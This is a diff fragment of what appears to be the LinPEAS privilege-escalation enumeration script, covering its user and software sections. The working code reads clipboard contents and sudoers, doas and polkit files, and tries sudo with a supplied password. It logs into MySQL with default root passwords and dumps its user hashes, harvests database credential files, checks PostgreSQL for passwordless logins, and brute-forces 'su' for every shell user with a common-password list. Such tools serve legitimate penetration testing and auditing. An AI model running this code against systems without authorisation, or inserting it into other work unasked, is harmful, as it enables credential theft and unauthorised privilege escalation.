+if [ "$(command -v xclip 2>/dev/null)" ] || [ "$(command -v xsel 2>/dev/null)" ] || [ "$(command -v pbpaste 2>/dev/null)" ] || [ "$DEBUG" ]; then
+ print_2title "Clipboard or highlighted text?"
+ if [ "$(command -v xclip 2>/dev/null)" ]; then
+ echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ elif [ "$(command -v xsel 2>/dev/null)" ]; then
+ echo "Clipboard: "$(xsel -ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ elif [ "$(command -v pbpaste 2>/dev/null)" ]; then
+ echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ else echo_not_found "xsel and xclip"
+ fi
+ echo ""
+fi
+
+#-- UI) Sudo -l
+print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
+(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
+if [ "$PASSWORD" ]; then
+ (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
+fi
+( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
+if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
+ echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+fi
+for filename in /etc/sudoers.d/*; do
+ if [ -r "$filename" ]; then
+ echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
+ grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
+ fi
+done
+echo ""
+
+#-- UI) Sudo tokens
+print_2title "Checking sudo tokens"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
+ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
+if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
+ echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
+
+ if [ "$(command -v gdb 2>/dev/null)" ]; then
+ echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
+ fi
+
+ if [ "$CURRENT_USER_PIVOT_PID" ]; then
+ echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
+ fi
+
+ if [ -f "$HOME/.sudo_as_admin_successful" ]; then
+ echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
+ fi
+
+ if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
+ echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
+ ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
+ fi
+
+else
+ echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
+
+fi
+echo ""
+
+#-- UI) Doas
+if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
+ print_2title "Checking doas.conf"
+ doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
+ if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
+ cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW},"
+ else echo_not_found "doas.conf"
+ fi
+ echo ""
+fi
+
+#-- UI) Pkexec policy
+print_2title "Checking Pkexec policy"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
+(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
+echo ""
+
+#-- UI) Superusers
+print_2title "Superusers"
+awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED},"
+echo ""
+
+#-- UI) Users with console
+print_2title "Users with console"
+if [ "$MACPEAS" ]; then
+ dscl . list /Users | while read uname; do
+ ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
+ if grep -q "$ushell" /etc/shells; then #Shell user
+ dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ echo ""
+ fi
+ done
+else
+ no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq)
+ unexpected_shells=""
+ printf "%s\n" "$no_shells" | while read f; do
+ if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then
+ unexpected_shells="$f\n$unexpected_shells"
+ fi
+ done
+ grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ if [ "$unexpected_shells" ]; then
+ printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g"
+ echo "Unexpected users with shells:"
+ printf "%s\n" "$unexpected_shells" | while read f; do
+ if [ "$f" ]; then
+ grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g"
+ fi
+ done
+ fi
+fi
+echo ""
+
+#-- UI) All users & groups
+print_2title "All users & groups"
+if [ "$MACPEAS" ]; then
+ dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
+else
+ cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
+fi
+echo ""
+
+#-- UI) Login now
+print_2title "Login now"
+(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+echo ""
+
+#-- UI) Last logons
+print_2title "Last logons"
+(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+echo ""
+
+#-- UI) Login info
+print_2title "Last time logon each user"
+lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+
+EXISTS_FINGER="$(command -v finger 2>/dev/null)"
+if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then
+ dscl . list /Users | while read uname; do
+ ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
+ if grep -q "$ushell" /etc/shells; then #Shell user
+ finger "$uname" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ echo ""
+ fi
+ done
+fi
+echo ""
+
+#-- UI) Password policy
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Password policy"
+ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs"
+ echo ""
+
+ if [ "$MACPEAS" ]; then
+ print_2title "Relevant last user info and user configs"
+ defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null
+ echo ""
+
+ print_2title "Guest user status"
+ sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
+ sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
+ sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
+ echo ""
+ fi
+fi
+
+#-- UI) Brute su
+if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
+ print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
+ POSSIBE_SU_BRUTE=$(check_if_su_brute);
+ if [ "$POSSIBE_SU_BRUTE" ]; then
+ SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1)
+ printf "%s\n" "$SHELLUSERS" | while read u; do
+ echo " Bruteforcing user $u..."
+ su_brute_user_num "$u" $PASSTRY
+ done
+ else
+ printf $GREEN"It's not possible to brute-force su.\n\n"$NC
+ fi
+else
+ print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
+fi
+print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q software_information; then
+print_title "Software Information"
+###########################################
+#--------) Software Information (---------#
+###########################################
+
+NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
+
+#-- SI) Useful software
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Useful software"
+ for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
+ echo ""
+fi
+
+#-- SI) Search for compilers
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Installed Compilers"
+ (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
+ echo ""
+
+ if [ "$(command -v pkg 2>/dev/null)" ]; then
+ print_2title "Vulnerable Packages"
+ pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
+ echo ""
+ fi
+
+ if [ "$(command -v brew 2>/dev/null)" ]; then
+ print_2title "Brew Installed Packages"
+ brew list
+ echo ""
+ fi
+fi
+
+if [ "$MACPEAS" ]; then
+ print_2title "Writable Installed Applications"
+ system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
+ if [ -w "$f" ]; then
+ echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+ done
+
+ system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
+ if [ -w "$f" ]; then
+ echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+ done
+fi
+
+#-- SI) MySQL version
+if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
+ print_2title "MySQL version"
+ mysql --version 2>/dev/null || echo_not_found "mysql"
+ mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
+ if [ "$mysqluser" ]; then
+ echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ fi
+ echo ""
+ echo ""
+
+ #-- SI) MySQL connection root/root
+ print_list "MySQL connection using default root/root ........... "
+ mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null)
+ if [ "$mysqlconnect" ]; then
+ echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ #-- SI) MySQL connection root/toor
+ print_list "MySQL connection using root/toor ................... "
+ mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null)
+ if [ "$mysqlconnect" ]; then
+ echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ #-- SI) MySQL connection root/NOPASS
+ mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null)
+ print_list "MySQL connection using root/NOPASS ................. "
+ if [ "$mysqlconnectnopass" ]; then
+ echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+ echo ""
+fi
+
+#-- SI) MySQL credentials
+if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
+ print_2title "Searching mysql credentials and exec"
+ printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
+ if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds)
+ STRINGS="`command -v strings`"
+ echo "Potential file containing credentials:"
+ ls -l "$d"
+ if [ "$STRINGS" ]; then
+ strings "$d"
+ else
+ echo "Strings not found, cat the file and check it to get the creds"
+ fi
+
+ else
+ for f in $(find $d -name debian.cnf 2>/dev/null); do
+ if [ -r "$f" ]; then
+ echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
+ cat "$f"
+ fi
+ done
+
+ for f in $(find $d -name user.MYD 2>/dev/null); do
+ if [ -r "$f" ]; then
+ echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
+ grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password"
+ fi
+ done
+
+ for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
+ if [ -r "$f" ]; then
+ u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
+ echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ fi
+ done
+
+ for f in $(find $d -name my.cnf 2>/dev/null); do
+ if [ -r "$f" ]; then
+ echo "Found readable $f"
+ grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
+ fi
+ done
+ fi
+
+ mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
+ if [ "$mysqlexec" ]; then
+ echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
+ echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ done
+fi
+echo ""
+
+if [ "$PSTORAGE_MARIADB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing MariaDB Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*" | sed -${E} "s,user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_POSTGRESQL" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PostgreSQL Files (limit 70)"
+ echo "Version: $(warn_exec psql -V 2>/dev/null)"
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin*.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin.*\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgadmin.*\.db$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pg_hba.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postgresql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgsql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin4\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin4.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin4\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgadmin4\.db$,${SED_RED},"; done; echo "";
+fi
+
+
+#-- SI) PostgreSQL brute
+if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it.
+# Checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
+ print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ "
+ if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ "
+ if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... "
+ if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... "
+ if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+ echo ""
+fi
+
+if [ "$PSTORAGE_MONGO" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Mongo Files (limit 70)"
+ echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)"
+ if [ "$(command -v mongo)" ]; then echo "show dbs" | mongo 127.0.0.1 > /dev/null 2>&1;[ "$?" == "0" ] && echo "Possible mongo anonymous authentication" | sed -${E} "s,.*|kube,${SED_RED},"; fi
+ if ! [ "`echo \"$PSTORAGE_MONGO\" | grep -E \"mongod.*\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mongod*.conf"; fi; fi; printf "%s" "$PSTORAGE_MONGO" | grep -E "mongod.*\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mongod.*\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_APACHE_NGINX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Apache-Nginx Files (limit 70)"
+ echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"
+ echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)"
+ if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null; fi
+ if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi
+ print_3title 'PHP exec extensions'
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"sites-enabled$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites-enabled"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "sites-enabled$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites-enabled$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"000-default\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "000-default.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "000-default\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,000-default\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"php\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "php.ini"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "php\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,php\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E allow_ | grep -Ev "^;" | sed -${E} "s,On,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx$,${SED_RED},"; find "$f" -name "*.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_TOMCAT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Tomcat Files (limit 70)"
